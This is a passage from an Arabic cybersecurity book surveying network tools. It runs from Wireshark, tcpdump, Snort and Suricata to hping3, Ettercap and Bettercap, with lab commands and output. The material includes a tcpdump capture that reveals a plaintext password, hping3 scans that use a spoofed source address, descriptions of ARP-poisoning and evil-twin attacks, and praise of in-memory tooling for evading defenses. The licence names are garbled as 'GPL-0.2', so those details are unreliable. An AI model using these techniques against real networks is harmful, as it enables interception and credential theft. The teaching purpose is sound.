ميزة هذه المجموعة أنها مصممة خصيصاً لتعمل بتقنية التنفيذ في الذاكرة (In-Memory Execution) عبر منصات مثل Cobalt Strike وexecute-assembly، يعني تشغل أدوات قوية مثل Rubeus لهجمات Kerberos، أو Seatbelt للفحص الشامل، أو SharpUp لتصعيد الصلاحيات، مباشرة من الذاكرة دون أن تلمس القرص الصلب. هذا شيء مهم يساعد على تجاوز أنظمة الحماية ويوفر وقتاً ثميناً في العمليات الهجومية بدلاً من إضاعة الوقت في إعداد الأدوات وتجميعها.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Windows
التكلفة	مجاني
نوع الترخيص	متنوع

خصائص أداة SharpCollection

تحميل: https://github.com/Flangvik/SharpCollection

خاتمة القسم: ما بعد الاستغلال

إن أهم درس تقدمه لنا أدوات ما بعد الاستغلال هو التحول الذهني الكامل نحو تبني مفهوم افتراض الاختراق Assume Breach. بمعنى آخر، يجب أن نتعامل مع بيئاتنا وكأن المهاجم تمكن بالفعل من الدخول إلى الشبكة بطريقة ما. لذلك لم يعد الاكتفاء بحماية المحيط الخارجي كافياً، لأن الخصم المحترف سيجد عاجلاً أو آجلاً نقطة دخول، سواء عبر ثغرة تقنية أو خطأ بشري. القوة الحقيقية للمؤسسة لا تكمن في بناء حواجز أعلى، بل في امتلاك جهاز مناعة داخلي قوي، يعتمد على

أنظمة مراقبة ذكية، واكتشاف مبكر للسلوكيات الشاذة، وآليات استجابة فعالة قادرة على احتواء التهديد وعزله قبل أن يتحول إلى كارثة على مستوى البنية كاملة.

لننظر مثلاً إلى الاختراق الكارثي لمكتب إدارة شؤون الموظفين الأمريكي OPM في عام 2015. لم يكن الفشل في نقطة الاختراق الأولى فقط، بل كان فشلاً ذريعاً في اكتشاف مؤشرات الهجوم Indicators of Attack داخل الشبكة. فقد أمضى المهاجمون ما يقارب عاماً كاملاً وهم ينفذون سلسلة من تقنيات إطار MITRE ATT&CK بداية من تصعيد الامتيازات عبر استغلال الخدمات الضعيفة T1543.003، إلى سرقة بيانات الاعتماد من ذاكرة LSASS (T1003.001)، وصولاً إلى التحرك الجانبي باستخدام بروتوكولات مثل SMB (T1021.002) و WMI (T1047). هنا تتضح القيمة الحقيقية لأدوات هذا الفصل حتى بالنسبة للمدافعين في الفريق الأزرق.

أداة مثل BloodHound ليست حكراً على الفريق الأحمر فهي أداة تدقيق لا تقدر بثمن للفريق الأزرق لاكتشاف مسارات الهجوم المعقدة بشكل استباقي، بما في ذلك علاقات تفويض Kerberos غير المقيدة Unconstrained Delegation التي قد تؤدي إلى السيطرة على المجال بالكامل. وأداة مثل Mimikatz ليست مجرد وسيلة للاختراق، بل معيار فعلي لاختبار فعالية أنظمة EDR وقواعد SIEM في اكتشاف أي محاولة للوصول إلى ذاكرة LSASS.exe. فإذا لم يُطلق نظامك إنذاراً عند تشغيل Mimikatz، فهذا مؤشر خطير على أن دفاعاتك الداخلية تعاني من العمى.

الهدف الأسمى من إتقان هذه الأدوات بالنسبة للمدافعين هو تقليص فترة المكوث Dwell Time عبر الانتقال من الاعتماد فقط على مؤشرات الاختراق IOCs بعد وقوع الهجوم، إلى الصيد الاستباقي للتهديدات Threat Hunting للبحث عن مؤشرات الهجوم IOAs أثناء حدوثها. كل دقيقة يقضيها المهاجم داخل شبكتك تمنحه فرصة جديدة للتقدم خطوة أخرى في سلسلة الهجوم. مهمتنا لا تقتصر على حراسة البوابة، بل بناء بيئة داخلية مرنة ذات رؤية عميقة قادرة على كسر سلسلة الهجوم من الداخل قبل أن تصل إلى مرحلة لا يمكن السيطرة عليها.

ومع فهمنا الآن لخطورة السيطرة الداخلية بعد الاختراق، تنتقل المعركة إلى ساحة أوسع وهي البنية التحتية التي تحمل كل شيء الشبكة نفسها. فحتى أقوى أنظمة الحماية، وأفضل آليات الكشف، ستفشل إذا كانت الشبكة مصممة بشكل يسمح للحركة الخبيثة بالانتشار بصمت. الفصل التالي يأخذنا إلى قلب هذه البنية، لنفهم كيف يمكن أن تتحول الشبكات الضعيفة إلى طريق سريع للهجوم، وكيف يمكن للهندسة الصحيحة والمراقبة الذكية أن تحول الشبكة من نقطة ضعف إلى أقوى خط دفاع.

٦ أمن الشبكات

الشبكة هي الأساس الذي يقوم عليه كل شيء في عالمنا الرقمي. إنها تشبه الجهاز الدوري في جسم الإنسان، حيث تنقل البيانات الحيوية كشريان الحياة لكل تطبيق وخدمة إلى كل ركن من أركان الشبكة. أنا أؤمن بأن صحة هذا الجهاز الدوري هي انعكاس مباشر لصحة المؤسسة الرقمية بأكملها. إذا كانت هذه الشرايين ملوثة أو قابلة للاختراق، فإن السم سينتشر في كل مكان، وسيصاب الكيان بأكمله بالشلل.

في عام 2013 تعرضت شركة Target لاختراق كارثي وهي إحدى أكبر سلاسل المتاجر في العالم. لم يبدأ الهجوم من خلال ثغرة معقدة في خوادمهم الرئيسية، بل تم اختراق شركة صغيرة خارجية متعاقدة معهم لصيانة أنظمة التكييف والتهوية (HVAC). تمكن المهاجمون من العثور على طريقهم إلى الشبكة الداخلية لـ Target. لماذا؟ بسبب خطأ أساسي في تصميم الشبكة وهو الافتقار إلى التجزئة (Segmentation) الكافية. لم يكن هناك جدار قوي يفصل بين شبكة الموردين غير الحساسة وشبكة نقاط البيع (POS) التي تعالج بيانات بطاقات الائتمان.

بمجرد دخولهم، أمضى المهاجمون أسابيعاً يتحركون جانبياً بهدوء، وقاموا بزرع برمجية خبيثة متخصصة في سرقة بيانات بطاقات الائتمان مباشرة من ذاكرة أجهزة نقاط البيع أثناء تمرير البطاقة. والنتيجة كانت كارثيه وهي تسريب بيانات 40 مليون بطاقة ائتمان وبيانات شخصية لـ 70 مليون عميل. قدرت التكلفة الإجمالية لهذا الاختراق على الشركة بأكثر من 200 مليون دولار، بالإضافة إلى ضرر لا يقدر بثمن على سمعتها. كل هذا كان يمكن منعه لو كانت هناك رؤية ومراقبة كافية لحركة المرور غير الطبيعية داخل الشبكة. هل تعلم أن معظم أنظمة كشف التسلل (IDS) الحديثة لا تقوم بتحليل كل حزمة بيانات بالكامل (Full Packet Capture) بشكل مستمر بسبب الحجم الهائل للبيانات. بدلاً من ذلك، تعتمد بشكل كبير على تحليل بيانات التدفق (NetFlow / sFlow) التي هي بمثابة ملخصات لحركة المرور (من تحدث مع من، وكم من الوقت). هذا يجعلها أسرع، ولكنه قد يفوت تفاصيل دقيقة يمكن أن يكشفها محلل محترف باستخدام أدوات مثل Wireshark.

قصة Target هي دراسة حالة كلاسيكية توضح كيف أن الأدوات الصحيحة كان يمكن أن تكسر سلسلة الهجوم في مراحل متعددة. باستخدام Wireshark كان يمكن للمحللين إجراء تحليل عميق للحزم (DPI) على حركة المرور الخارجة، وتحديد بصمة بيانات Track 1 و Track 2 التي كانت تسرب، مما يؤكد وجود اختراق نشط. أما أنظمة كشف التسلل مثل Snort أو Suricata، فلو تم تزويدها بقاعدة بسيطة ترصد أي اتصال SMB ينشأ من VLAN الخاصة بالموردين (حيث لا يفترض وجوده) إلى VLAN الخاصة بنقاط البيع، لكانت قد أطلقت إنذاراً أحمر منذ اللحظة الأولى للتحرك الجانبي. وهنا يأتي دورنا كخبراء هجوميين فباستخدام أدوات مثل Ettercap، يمكننا اختبار هذه الفرضية بشكل استباقي. عبر محاكاة هجوم تسميم ARP، نتحقق مما إذا كانت التجزئة المطبقة على مستوى VLAN هي حاجز حقيقي أم مجرد خط على الرسم البياني للشبكة. إتقان هذه الأدوات ينقلنا من مجرد حماية المحيط الخارجي (North-South Traffic) إلى تطبيق مبدأ الثقة الصفرية (Zero Trust Architecture - ZTA) فعلياً، وذلك عبر امتلاك الرؤية والقدرة على مراقبة واعتراض الحركة داخل الشبكة بنفس الصرامة.

١.٦ Wireshark

ننتقل الآن للعملاق الحقيقي Wireshark، هذا البرنامج هو المعيار العالمي وأهم أداة في جعبة أي محلل شبكات أو مختبر اختراق بلا منازع. ببساطة، إذا كان الطبيب يحتاج لسماعة ليشخص المريض، فمهندس الشبكات والأمن يحتاج Wireshark ليعرف صحة الشبكة. هو المجهر الدقيق الذي يمكنك من رؤية كل صغيرة وكبيرة تمر في أسلاك الشبكة، لا يعطيك ملخصاً أو رؤوس أقلام، بل يعطيك الحقيقة الكاملة والمجردة لكل بايت يُرسل أو يُستقبل.

تكمن القوة الجبارة لهذه الأداة في محرك التحليل الخاص بها (Dissectors) القادر على فهم وفك تشفير مئات البروتوكولات المختلفة، مما يسمح لك بفهم المشاكل الأمنية أو التقنية بدقة متناهية. والميزة التي يعشقها كل المحللين هي تتبع تدفق TCP أو Follow TCP Stream، التي تجمع لك شتات الحزم المتناثرة وتعيد بناء المحادثة الكاملة بين العميل والخادم كأنك تقرأ صفحة كتاب، فتشاهد بالضبط البيانات التي أُرسلت والرد الذي وصل.

بالإضافة إلى ذلك، يوفر Wireshark مميزات متقدمة جداً مثل القدرة على فك تشفير حركة مرور SSL/TLS (إذا توفرت المفاتيح)، ونظام الفلاتر القوي الذي يمكنك من عزل حركة مرور جهاز معين أو بروتوكول معين وسط ضجيج الشبكة العالي بكل سهولة، ونظام التلوين الذكي الذي ينبهك بألوان مختلفة على الأخطاء وإعادة الإرسال والمشاكل المحتملة. باختصار، هو الأداة الأساسية التي لا غنى عنها لأي محترف شبكات أو أمن سيبراني.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ إلى متوسط
أنظمة التشغيل	Linux, Windows, macOS, BSD
التكلفة	مجاني
نوع الترخيص	GPL-0.2 License

خصائص أداة Wireshark

تحميل: https://www.wireshark.org

٢.٦ tcpdump

تكلمنا عن Wireshark وواجهته الجميلة، لكن إذا كنت تدير خوادم لينكس عن بُعد عبر SSH أو تتعامل مع أنظمة لا تحتوي على واجهة رسومية، فليس لديك خيار إلا tcpdump. هذه الأداة العريقة هي الجندي المجهول في عالم الشبكات، لأنها تعمل من سطر الأوامر (Command Line) وتسمح لك بمشاهدة حركة الشبكة وتسجيلها بأقل استهلاك ممكن لموارد الجهاز.

قوتها الحقيقية تكمن في لغة الفلاتر الخاصة بها والتي تُسمى BPF (Berkeley Packet Filter)، وهذه تمكنك من تحديد بدقة متناهية الحزم التي تريد التقاطها حتى لا يمتلئ القرص الصلب بملفات غير ضرورية. والسيناريو الذي يستخدمه أغلب المحترفين هو تشغيل tcpdump على الخادم لتسجيل الحركة في ملف بصيغة pcap.، ثم نقل هذا الملف إلى أجهزتهم الشخصية وتحليله بوضوح باستخدام Wireshark. باختصار، هي أداة الطوارئ الأولى لأي مشكلة في الخوادم.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, macOS, BSD, Unix
التكلفة	مجاني
نوع الترخيص	BSD 3-Clause License

خصائص أداة tcpdump

مثال عملي: التقاط وتحليل حركة مرور HTTP في الوقت الفعلي لرؤية البيانات المرسلة:

```
sudo tcpdump -i tun0 -nn -A -s 0 'tcp port 80 and host 10.49.138.3'
```

شرح المثال: واقع الأمر أن هذا الأمر يراقب الواجهة tun0 ويركز فقط على حركة المرور عبر المنفذ 80 للمضيف المحدد. الميزة هنا هي استخدام الخيار A- لعرض محتوى الحزم بتنسيق ASCII, مما يسمح لنا برؤية بيانات الـ POST (مثل اسم المستخدم وكلمة المرور) بوضوح تام وهي تنتقل عبر الشبكة.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ sudo tcpdump -i tun0 -nn -A -s 0 'tcp port 80 and host 10.49.138.3'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
05:38:42.056509 IP 192.168.154.215.44068 > 10.49.138.3.80: Flags [P.], seq 743103319:
E.....@.@.......
1...$.P,J.W..M]...b.......
...G....POST /api/login HTTP/1.1
Host: 10.49.138.3
```

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://10.49.138.3
Connection: keep-alive
Priority: u=0
Cache-Control: max-age=0

username=yaser&password=password123
05:38:42.172699 IP 10.49.138.3.80 > 192.168.154.215.44068: Flags [P.], seq 1:139, ack
E.....@.>.}.
1.......P.$..M],J.............
...;...GHTTP/1.1 200 OK
Date: Sat, 27 Dec 2025 10:38:40 GMT
Content-Length: 21
Content-Type: text/plain; charset=utf-8

Incorrect credentials
05:38:42.215360 IP 192.168.154.215.44068 > 10.49.138.3.80: Flags [.], ack 139, win 98
E..4..@.@..\....
1...$.P,J....M....b.......
.......;
^C
3 packets captured
3 packets received by filter
0 packets dropped by kernel

  (yaser CyberBookio)-[~]
```

تحميل: https://www.tcpdump.org

٣.٦ Snort

عند الحديث حول عالم حماية الشبكات فلا نستطيع الا ذكر الأسطورة نظام Snort، إذا كان Wireshark هو عينك التي ترى بها الشبكة، فإن Snort هو الحارس الذكي أو الشرطي الذي يراقب الحركة على مدار الساعة. هو المعيار العالمي وأشهر نظام مفتوح المصدر لكشف ومنع التسلل (IDS/IPS)، وتعتمد عليه أكبر الشركات والحكومات لحماية بنيتها التحتية.

السر الجبار في Snort يكمن في محرك القواعد (Rule Engine). تخيل أنه يملك قاعدة بيانات ضخمة ومحدثة باستمرار ببصمات الهجمات المعروفة. بمجرد مرور حزمة بيانات مشبوهة تطابق قاعدة معينة، يقوم النظام فوراً باتخاذ إجراء، سواء كان مجرد تنبيه المشرف (في وضع كشف التسلل) أو قطع الاتصال فوراً ومنع المهاجم (في وضع منع التسلل).

الجميل في الموضوع أنك تستطيع تشغيله بثلاثة أوضاع مختلفة حسب حاجتك: إما كمتنصت (Sniffer) لمراقبة ما يحدث، أو مسجل للحزم (Packet Logger) لحفظ البيانات وتحليلها لاحقاً، أو الوضع الكامل لكشف التسلل (NIDS Mode). وبفضل المجتمع الضخم الداعم له، أي ثغرة جديدة تظهر، تجد لها قاعدة كشف جاهزة لـSnort خلال ساعات، وهذا يجعله خط الدفاع الأول والأهم ضد الهجمات المعقدة.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, BSD, Solaris
التكلفة	مجاني
نوع الترخيص	GPL-0.2 License

خصائص أداة Snort

مثال عملي: تشغيل Snort في وضع كشف التسلل باستخدام إعدادات Lua وقواعد مخصصة:

```
sudo snort -c /etc/snort/snort.lua -R /etc/snort/rules/local.rules -i
tun0 -A alert_fast -k none
```

شرح المثال: واقع الأمر أن هذا التنفيذ يستخدم ملف الإعدادات الحديث بنوع lua ويحمل القواعد المحلية من المسار المحدد. الميزة الفعالة هنا هي مراقبة الواجهة tun0 مع تفعيل وضع التنبيه السريع `alert_fast` وتجاهل التحقق من مجموع الحزم `k none`- لضمان تحليل كافة البيانات حتى لو كانت مشوهة.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ sudo snort -c /etc/snort/snort.lua -R /etc/snort/rules/local.rules -i tun0 -A aler
-------------------------------------------------
o")~   Snort++ 3.10.0.0
-------------------------------------------------
Loading /etc/snort/snort.lua:
Loading snort_defaults.lua:
Finished snort_defaults.lua:
        alerts
        daq
        decode
        host_cache
        host_tracker
        hosts
        network
        packets
        process
        so_proxy
        trace
        ips
        dce_smb
        dce_tcp
        dce_udp
        dce_http_proxy
        dce_http_server
        file_id
        stream_ip
        stream_tcp
        back_orifice
        dns
        imap
```

```
netflow
normalizer
pop
sip
ssh
ssl
telnet
cip
dnp3
iec104
mms
s7commplus
output
smtp
ftp_server
ftp_client
ftp_data
http_inspect
http2_inspect
port_scan
gtp_inspect
file_policy
js_norm
appid
wizard
binder
opcua
modbus
rpc_decode
arp_spoof
stream_file
stream_user
```

```
        stream_udp
        stream_icmp
        stream
        references
        classifications
        search_engine
        active
Finished /etc/snort/snort.lua:
Loading file_id.rules_file:
Loading file_magic.rules:
Finished file_magic.rules:
Finished file_id.rules_file:
Loading rule args:
Loading /etc/snort/rules/local.rules:
Finished /etc/snort/rules/local.rules:
Finished rule args:
--------------------------------------------------
ips policies rule stats
               id  loaded  shared enabled    file
                0     219       0     219    /etc/snort/snort.lua
--------------------------------------------------
rule counts
       total rules loaded: 219
              text rules: 219
           option chains: 219
           chain headers: 1
--------------------------------------------------
service rule counts          to-srv  to-cli
                 file_id:      219     219
                   total:      219     219
--------------------------------------------------
fast pattern groups
```

```
                to_server: 1
                to_client: 1
-------------------------------------------------
search engine (ac_bnfa)
                instances: 2
                 patterns: 438
            pattern chars: 2602
                 num states: 1832
           num match states: 392
               memory scale: KB
               total memory: 71.2812
              pattern memory: 19.6484
          match list memory: 28.4375
          transition memory: 22.9453
appid: MaxRss diff: 2944
appid: patterns loaded: 300
-------------------------------------------------
pcap DAQ configured to passive.
Commencing packet processing
Retry queue interval is: 200 ms
++ [0] tun0
-- [0] tun0
-------------------------------------------------
Packet Statistics
-------------------------------------------------
daq
                 received: 13
                 analyzed: 13
                    allow: 13
                 rx_bytes: 1092
-------------------------------------------------
codec
```

```
                    total: 13           (100.000%)
                    icmp4: 13           (100.000%)
                     ipv4: 13           (100.000%)
                      raw: 13           (100.000%)
-------------------------------------------------
Module Statistics
-------------------------------------------------
appid
                  packets: 13
        processed_packets: 13
           total_sessions: 1
-------------------------------------------------
binder
                new_flows: 1
                 inspects: 1
-------------------------------------------------
detection
                 analyzed: 13
-------------------------------------------------
port_scan
                  packets: 13
                 trackers: 2
-------------------------------------------------
stream
                    flows: 1
-------------------------------------------------
stream_icmp
                 sessions: 1
                      max: 1
                  created: 1
                 released: 1
-------------------------------------------------
```

```
Appid Statistics
-------------------------------------------------
detected apps and services
                Application: Services   Clients    Users      Payloads   Misc       Re
                    unknown: 1          0          0          0          0          0
-------------------------------------------------
Summary Statistics
-------------------------------------------------
process
                    signals: 16
-------------------------------------------------
timing
                    runtime: 00:04:22
                    seconds: 262.079489
o")~   Snort exiting
[1]  + done       sudo snort -c /etc/snort/snort.lua -R /etc/snort/rules/local.rules

  (yaser CyberBookio)-[~]
```

تحميل: https://www.snort.org

٤.٦ Suricata

المنافس القوي والبديل الحديث للأسطورة Snort هو محرك Suricata. الفرق الجوهري الذي جعل هذا النظام يحدث نقلة نوعية في عالم الحماية هو الأداء. بينما كانت الأنظمة القديمة تعاني مع سرعات الشبكات العالية لأنها تعتمد غالباً على نواة معالجة واحدة، جاء Suricata بفلسفة المعالجة متعددة الخيوط (Multi-threading) من الأساس. يعني ببساطة، هو يستغل كل قوة المعالج وكل الأنوية المتوفرة لمعالجة كميات ضخمة من البيانات في وقت قياسي دون أن يسبب بطئاً في الشبكة.

والميزة المهمة جداً للمحللين هي قدرته التلقائية على استخراج الملفات (File Extraction). تخيل أن النظام لا يكتفي بتنبيهك بوجود ملف مشبوه يمر عبر الشبكة، بل يقوم بسحب هذا الملف وحفظه جانباً لتقوم بتحليله لاحقاً. وبالإضافة لكونه يدعم قواعد Snort، فهو يخرج التقارير بتنسيق JSON وEVE، مما يجعل ربطه بأنظمة التحليل والمراقبة (SIEM) عملية سهلة وسلسة جداً. لهذا السبب، هو الخيار المفضل اليوم للمؤسسات التي لديها شبكات ضخمة وسريعة.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS, BSD, Unix
التكلفة	مجاني
نوع الترخيص	GPL-0.2 License

خصائص أداة Suricata

مثال عملي: تشغيل Suricata في وضع NIDS لمراقبة واجهة شبكة محددة مع تطبيق قواعد مخصصة وتجاهل التحقق من مجموع الحزم:

```
sudo suricata -c /etc/suricata/suricata.yaml -i tun0 -S
/var/lib/suricata/rules/local.rules -k none
```

شرح المثال: الأمر هذا يستخدم خيار ملف الإعدادات الرئيسي ويقوم بتحميل قواعد محلية إضافية عبر الخيار S-. نقوم بمراقبة واجهة tun0 مع تعطيل التحقق من صحة الحزم عبر الخيار k none- لضمان عدم تجاهل أي حركة مرور مشوهة، مما يسمح للنظام بتسجيل التنبيهات في ملف fast.log وتفاصيل البروتوكولات في ملف eve.json.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ sudo suricata -c /etc/suricata/suricata.yaml -i tun0 -S /var/lib/suricata/rules/lo
i: suricata: This is Suricata version 8.0.2 RELEASE running in SYSTEM mode
W: detect-classtype: signature sid:1000002 uses unknown classtype: "attempted-login",
i: threads: Threads created -> W: 2 FM: 1 FR: 1   Engine started.
i: suricata: Signal Received.  Stopping engine.
i: device: tun0: packets: 7, drops: 0 (0.00%), invalid chksum: 0

  (yaser CyberBookio)-[~]
 $ cat /var/log/suricata/fast.log
12/27/2025-12:19:23.632906  [**] [1:1000005:1] Any IP Traffic Detected [**] [Classifi
12/27/2025-12:19:23.671429  [**] [1:1000005:1] Any IP Traffic Detected [**] [Classifi
```

```
  (yaser CyberBookio)-[~]
 $ cat /var/log/suricata/eve.json | jq 'select(.event_type=="http") | .http'
{
  "hostname": "10.48.132.80",
  "url": "/api/login",
  "http_user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefo
  "http_content_type": "text/plain",
  "http_method": "POST",
  "protocol": "HTTP/1.1",
  "status": 200,
  "length": 21
}

  (yaser CyberBookio)-[~]
```

تحميل: https://suricata.io

٥.٦ Zeek (formerly Bro)

إذا كان Snort هو جرس الإنذار الذي يرن عندما يكسر اللص الباب، فإن Zeek (المعروفة سابقاً باسم Bro) هو كاميرا المراقبة الذكية التي تسجل كل حركة وسكنة بهدوء تام. فلسفة هذه الأداة مختلفة جذرياً عن أنظمة كشف التسلل التقليدية، فهي لا تركز على إطلاق التنبيهات المزعجة، بل تركز على توفير رؤية عميقة وشاملة لما يحدث فعلياً داخل الشبكة.

ببساطة، يقوم Zeek بتحويل فوضى حزم البيانات إلى سجلات (Logs) منظمة ومقروءة ومترابطة. يعني بدلاً من الغرق في تفاصيل الحزم، ستحصل على سجل يقول لك بوضوح الجهاز الفلاني اتصل بالخادم الفلاني وطلب الملف هذا عبر بروتوكول HTTP. والشيء المميز فعلاً هو لغة البرمجة الخاصة به (Zeek Scripting Language)، التي تتيح لك كتابة سياسات أمنية مخصصة لتتبع سلوكيات معقدة أو استخراج ملفات معينة من حركة المرور تلقائياً. لهذا السبب، يعتبر Zeek الأداة المثالية لفرق الصيد عن التهديدات (Threat Hunting) والتحليل الجنائي، لأنه يجيب على سؤال ماذا حدث بالضبط قبل وأثناء وبعد الاختراق؟.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, macOS, BSD, Unix
التكلفة	مجاني
نوع الترخيص	BSD 3-Clause License

خصائص أداة Zeek

تحميل: https://zeek.org

٦.٦ hping3

الكثير يظن من اسمها أنها مجرد تطوير لأمر ping العادي، لكن هذا غير صحيح إطلاقاً. هذه الأداة هي مصنع كامل لحزم البيانات (Packet Crafter). إذا كانت الأدوات الأخرى تسمح لك بإرسال طلبات قياسية، فإن hping3 تسمح لك بصناعة الحزمة من الصفر والتحكم في كل بت وكل حقل فيها بدقة متناهية.

هذا الشيء المميز يمكنك من اختبار جدران الحماية (Firewalls) بشكل حقيقي وعميق، ومعرفة كيف تتصرف مع الحزم غير الطبيعية أو المشوهة، وهل يمكن تجاوز قواعد الحماية أم لا. كما أنها تُستخدم بشكل كبير في اختبار تحمل الخوادم ومحاكاة هجمات الحرمان من الخدمة (DDoS) لأنها قادرة على توليد وإرسال سيل من البيانات المتنوعة (سواء TCP أو UDP أو ICMP) بسرعة عالية. باختصار، هي أداة للمحترفين الذين يحتاجون لاختبار صلابة البنية التحتية تحت أقصى ضغط ممكن وبطرق غير تقليدية.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, macOS, BSD, Unix
التكلفة	مجاني
نوع الترخيص	GPL-0.2 License

خصائص أداة hping3

مثال عملي: فحص المنافذ واختبار جدار الحماية باستخدام أنواع مختلفة من الحزم (SYN, ACK) وتقنية التزييف:

```
sudo hping3 -S -p 80 -c 3 10.49.137.182
sudo hping3 -A -p 80 -c 3 10.49.137.182
sudo hping3 -S -p ++20 -c 5 10.49.137.182
sudo hping3 -S -p 80 -a 8.8.8.8 -c 3 10.49.137.182
```

شرح المثال: واقع الأمر أن هذه الأوامر تستخدم لاختبار ردود فعل الخادم تحت ظروف مختلفة. الخيار S- يرسل حزمة SYN لاكتشاف المنافذ المفتوحة حيث يشير العلم SA إلى أن المنفذ مفتوح, بينما يرسل الخيار A- حزمة ACK لاختبار قواعد جدار الحماية. الميزة في الخيار 20++ هي فحص مجموعة منافذ متتالية بشكل آلي, أما الخيار a- فيقوم بتزييف عنوان المصدر لتجربة حجب العناوين.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ sudo hping3 -S -p 80 -c 3 10.49.137.182
HPING 10.49.137.182 (tun0 10.49.137.182): S set, 40 headers + 0 data bytes
len=44 ip=10.49.137.182 ttl=62 DF id=0 sport=80 flags=SA seq=0 win=62727 rtt=35.7 ms
len=44 ip=10.49.137.182 ttl=62 DF id=0 sport=80 flags=SA seq=1 win=62727 rtt=39.7 ms
len=44 ip=10.49.137.182 ttl=62 DF id=0 sport=80 flags=SA seq=2 win=62727 rtt=39.4 ms

--- 10.49.137.182 hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 35.7/38.3/39.7 ms

  (yaser CyberBookio)-[~]
 $ sudo hping3 -A -p 80 -c 3 10.49.137.182
HPING 10.49.137.182 (tun0 10.49.137.182): A set, 40 headers + 0 data bytes
len=40 ip=10.49.137.182 ttl=62 DF id=0 sport=80 flags=R seq=0 win=0 rtt=40.1 ms
len=40 ip=10.49.137.182 ttl=62 DF id=0 sport=80 flags=R seq=1 win=0 rtt=35.5 ms
len=40 ip=10.49.137.182 ttl=62 DF id=0 sport=80 flags=R seq=2 win=0 rtt=42.8 ms

--- 10.49.137.182 hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 35.5/39.5/42.8 ms
```

```
  (yaser CyberBookio)-[~]
 $ sudo hping3 -S -p ++20 -c 5 10.49.137.182
HPING 10.49.137.182 (tun0 10.49.137.182): S set, 40 headers + 0 data bytes
len=40 ip=10.49.137.182 ttl=62 DF id=0 sport=20 flags=RA seq=0 win=0 rtt=35.8 ms
len=40 ip=10.49.137.182 ttl=62 DF id=0 sport=21 flags=RA seq=1 win=0 rtt=39.2 ms
len=44 ip=10.49.137.182 ttl=62 DF id=0 sport=22 flags=SA seq=2 win=62727 rtt=38.7 ms
len=40 ip=10.49.137.182 ttl=62 DF id=0 sport=23 flags=RA seq=3 win=0 rtt=42.2 ms
len=40 ip=10.49.137.182 ttl=62 DF id=0 sport=24 flags=RA seq=4 win=0 rtt=41.6 ms

--- 10.49.137.182 hping statistic ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 35.8/39.5/42.2 ms

  (yaser CyberBookio)-[~]
 $ sudo hping3 -S -p 80 -a 8.8.8.8 -c 3 10.49.137.182
HPING 10.49.137.182 (tun0 10.49.137.182): S set, 40 headers + 0 data bytes

--- 10.49.137.182 hping statistic ---
3 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

  (yaser CyberBookio)-[~]
```

تحميل: https://github.com/antirez/hping

٧.٦ Ettercap

بصراحة هذه الأداة تعتبر مدرسة بحد ذاتها في هجمات الرجل في المنتصف (Man-in-the-Middle). فكرتها ببساطة أنها تجبر حركة مرور الشبكة على المرور عبر جهازك بدلاً من التوجه للموجه (Router) مباشرة، عن طريق تقنية تسميم ARP (ARP Poisoning) التي تخدع الأجهزة وتجعلها تظن أن جهازك هو الموجه.

الشيء المميز في Ettercap أنها لا تكتفي بالاستماع والمراقبة، بل تستطيع تعديل البيانات أثناء انتقالها، وحقن أكواد خبيثة، أو حتى قطع الاتصال عن الضحية تماماً. وتدعم تحليل بروتوكولات كثيرة لاستخراج كلمات المرور التي تُرسل

بشكل غير مشفر، وتوفر واجهة رسومية سهلة تجعل تطبيق هجمات معقدة مثل خداع DNS (DNS Spoofing) أمراً بسيطاً. لهذا السبب هي أداة أساسية لفهم كيف يمكن اختراق الشبكة المحلية بالكامل إذا لم تكن محمية بشكل صحيح.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS, BSD
التكلفة	مجاني
نوع الترخيص	GPL-0.2 License

خصائص أداة Ettercap

تحميل: https://www.ettercap-project.org

٨.٦ Bettercap

نصل الآن إلى الأداة التي تعتبر التطور الطبيعي والحديث للعملاق القديم Ettercap، وهي Bettercap، هذه الأداة غيرت قواعد اللعبة تماماً في عالم هجمات الشبكات. إذا كانت الأدوات القديمة تركز على الشبكات السلكية فقط، فإن Bettercap جاءت ليكون البرنامج الشامل الذي يسيطر على كل أنواع الاتصالات من حولك، سواء كانت شبكة سلكية، أو لا سلكية، أو حتى بلوتوث وترددات BLE (Bluetooth Low Energy).

الشيء المميز تقنياً في هذه الأداة هو أنها مكتوبة بلغة Go، وهذا يعني أنها سريعة جداً وخفيفة على الجهاز، لدرجة أنها تعمل بسلاسة حتى على أجهزة صغيرة مثل Raspberry Pi. وتتميز بوجود واجهة ويب تفاعلية جميلة تجعلك تشعر وكأنك في غرفة عمليات، بالإضافة لنظام Caplets الذي يسمح لك بأتمتة الهجمات المعقدة مثل إنشاء نقطة وصول وهمية (Evil Twin) أو اعتراض بيانات الاعتماد بضغطة زر واحدة. باختصار، هي الأداة التي يجب أن يتقنها أي شخص يريد أن يكون مختبر اختراق شبكات محترفاً في عصرنا هذا.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
